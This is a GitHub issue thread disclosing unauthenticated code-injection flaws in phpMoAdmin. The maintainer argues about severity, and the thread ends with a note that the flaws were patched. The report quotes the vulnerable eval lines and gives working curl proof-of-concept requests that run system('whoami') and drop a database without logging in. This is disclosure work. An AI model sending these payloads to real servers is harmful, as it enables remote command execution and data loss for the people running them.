New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Many security issues in phpMoAdmin (0-day) #26

Closed
Sr4l opened this Issue Mar 10, 2015 · 8 comments

Comments

Projects
None yet
6 participants
@Sr4l

Sr4l commented Mar 10, 2015

A week ago I read a security alert at 'heise Security' . It's a
German IT news site. The article was about someone is selling a
Zero-Day-Exploit for phpMoAdmin. Here is another source
in English. Because nobody has written an issue or a fix a week later I
decided to write all the stuff down I figured out last week.

At least for the second bug I already found Metasploit scripts. So
I decide to publish the exploits as well. Its already all over the
Internet.

Well, the fact that there is a security hole and not what
the hole is
I got interested. I'm not using MongoDB and I am not so
much into PHP, but a close look at the source and I found two suspects
that might be a problem.

556:  eval('$find = ' . $_GET['find'] . ';');
694:  eval('$obj=' . $obj . ';');

The first is obviously risky, an eval over a GET parameter. The second
could be, depends on $obj.

The first

272:  class moadminModel {
000:    ...
546:    public function listRows($collection) {
547:        foreach ($this->sort as $key => $val) { //cast vals to int
548:            $sort[$key] = (int) $val;
549:        }
550:        $col = $this->mongo->selectCollection($collection);
551:
552:        $find = array();
553:        if (isset($_GET['find']) && $_GET['find']) {
554:            $_GET['find'] = trim($_GET['find']);
555:            if (strpos($_GET['find'], 'array') === 0) {
556:                eval('$find = ' . $_GET['find'] . ';');
000:            ...

For the first we need to call the listRows function and can than inject
code in the $_GET['find'] key, but find must start with array.

There seems only one way to call listRows, and this is by setting the
GET key action, supply a fake collection and our manipulated find
key.

739:  class moadminComponent {
000:    ...
763:    public function __construct() {
000:      ...
837:      if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
838:        $this->mongo[$action] = self::$model->$action($_GET['collection']);
000:
1978:  $mo = new moadminComponent;

moadminComponent is created at the beginning without login or session
check, so this makes it all too easy. We can run every shell command by
providing the right GET keys.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;"

And the second?

693:  public function saveObject($collection, $obj) {
691:    eval('$obj=' . $obj . ';'); //cast from string to array
692:    return $this->mongo->selectCollection($collection)->save($obj);
693:  }

To exploit the second suspect we need run saveObject. It seems to be
called only once, again in the constructor of moadminComponent, and
the function parameter $obj is a POST key, it could not be easier:

739:  class moadminComponent {
000:  ...
763:    public function __construct() {
000:    ...
788:      if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {

So with placing a code injection in POST key object you can run any
shell command with PHP process rights. Again no login needed.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php" -d "object=0;system('whoami');exit"

Any other problems?

Many. Because the check for a valid session is too late you can play with
many direct links. Like dropping databases you know or guess there name:

curl "http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&action=dropDb"

Why bother writing a login system that only prevents you from looking
at your page?!?

Solution

Too fix this issues you need more than a bug fix. First everyone should
delete phpMoAdmin or add an extra layer of access control (i.e. .htaccess)
and also only grant people access you would give a shell login.

@studioeng

This comment has been minimized.

studioeng commented Jun 4, 2015

This security issue will affect servers/hosts who have not disabled system() under php.ini. The commands going into eval() will need to be sanitized before they are executed. I've always been under the impression that executing anything directly from _POST, _GET or otherwise was a big no no?

@wireghoul

This comment has been minimized.

wireghoul commented Jul 14, 2015

That is a misconception, as it's an eval injection the attacker can execute any php code of their choosing. The proof of concept shows execution of the php function system(), but an attacker may just as easily delete the entire content of the database, read or write files, etc. As the issues are still present I would urge you to patch this as users of this software are likely to already be compromised as the bug has been public for a while now.

@MongoDB-Rox

This comment has been minimized.

Owner

MongoDB-Rox commented Jul 14, 2015

@wireghoul

This comment has been minimized.

wireghoul commented Jul 14, 2015

Your response confuses me a little, some of it seems like pointless chest beating and some seems aimed at the original reporter. As this report has been public for almost half a year there was no threat to make it public. The metasploit exploits for these bugs have also been public for roughly the same amount of time so again there is nothing to "make public". I merely responded to the comment about disabling system in php.ini. Feel free not to patch, I'm not a mongoDB user so this doesn't affect me.

@OJ

This comment has been minimized.

OJ commented Jul 14, 2015

Security issues are context-specific

Actually, security issues arise when a user is able to cross privilege boundaries when they aren't supposed to. So, phpMoAdmin is...

screen shot 2015-07-15 at 8 38 33 am

An administrative front-end to MongoDB? My guess is that it isn't supposed to allow users to execute arbitrary code on the machine. That's crossing a privilege boundary. It's certainly not supposed to let unauthenticated users do it, nor should it let them drop tables, or modify data without a valid session.

Regardless of how you dress it up, these are real security issues, and you should fix them. Not doing so says that you literally don't care about the poor souls using your tool.

@invisiblethreat

This comment has been minimized.

invisiblethreat commented Jul 15, 2015

"The issue you are “reporting” is superfluous, like saying if someone was allowed inside a bank’s vault-safe then from there they could also find their way into the ATM machines." No, it's really not.

This is like saying that if you go to a bank, you can do anything you like, including raze the building.

Perhaps approaching the problem with some humility, rather than "I've been this or that for x years, therefore I know what constitutes good design and security" would yield a more positive experience maintaining a project. If anything, issues like the ones that have been reported, and neglected, this may indicate that the certification is worthless.

" I would suggest being certain you understand the programs in which you are trying to find the holes in before repeatedly trying to persuade via inducing F.U.D. and then threatening to “announce” the vulnerability" Announce? Really?

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2208
http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
https://www.snort.org/search/sid/33685?r=1
http://metasploit.com/modules/exploit/multi/http/phpmoadmin_exec
http://www.tenable.com/plugins/index.php?view=single&id=84217
https://www.exploit-db.com/exploits/36251/
http://seclists.org/fulldisclosure/2015/Mar/19
http://www.openwall.com/lists/oss-security/2015/03/04/4
http://www.openwall.com/lists/oss-security/2015/03/04/5
https://www.security-database.com/detail.php?alert=CVE-2015-2208

@MongoDB-Rox

This comment has been minimized.

Owner

MongoDB-Rox commented Jul 15, 2015

Sorry Eldar, you are right – my response-rant was directed towards someone who kept emailing me directly with the same issue, but he offered much less in-depth exploit examples that had only granted exploit-functionality to those who passed authentication – I thought your email was from him, my apologies...

wireghoul, the issue reported by Sr4l points out being able to execute commands bypassing the login, that is a genuine concern. What you mention being able to do is not of concern at all (“attacker may just as easily delete the entire content of the database”), well you don’t need to be an attacker-hacker for that, there is a “drop database” button directly in the GUI, that is functionality a DB GUI is expected to offer.

invisiblethreat, my analogy was once you enter the bank-vault (giving access to all the money,) not the general bank customer area... So once you have access to steal the many-hundreds-of-millions of dollars, option of accessing the ATMS (or your example of razing the bank-building) is unlikely to be of much significance.

All talk aside, who is going to step up and actually patch it?

From: Scott Walsh
Sent: Tuesday, July 14, 2015 8:08 PM
To: MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP
Cc: Eric David Benari
Subject: Re: [phpMoAdmin-MongoDB-Admin-Tool-for-PHP] Many security issues in phpMoAdmin (0-day) (#26)

"The issue you are “reporting” is superfluous, like saying if someone was allowed inside a bank’s vault-safe then from there they could also find their way into the ATM machines." No, it's really not.

This is like saying that if you go to a bank, you can do anything you like, including raze the building.

Perhaps approaching the problem with some humility, rather than "I've been this or that for x years, therefore I know what constitutes good design and security" would yield a more positive experience maintaining a project. If anything, issues like the ones that have been reported, and neglected, this may indicate that the certification is worthless.

" I would suggest being certain you understand the programs in which you are trying to find the holes in before repeatedly trying to persuade via inducing F.U.D. and then threatening to “announce” the vulnerability" Announce? Really?

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2208
http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
https://www.snort.org/search/sid/33685?r=1
http://metasploit.com/modules/exploit/multi/http/phpmoadmin_exec
http://www.tenable.com/plugins/index.php?view=single&id=84217
https://www.exploit-db.com/exploits/36251/
http://seclists.org/fulldisclosure/2015/Mar/19
http://www.openwall.com/lists/oss-security/2015/03/04/4
http://www.openwall.com/lists/oss-security/2015/03/04/5
https://www.security-database.com/detail.php?alert=CVE-2015-2208


Reply to this email directly or view it on GitHub.

@MongoDB-Rox

This comment has been minimized.

Owner

MongoDB-Rox commented Dec 15, 2016

Patched in Version 1.1.4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment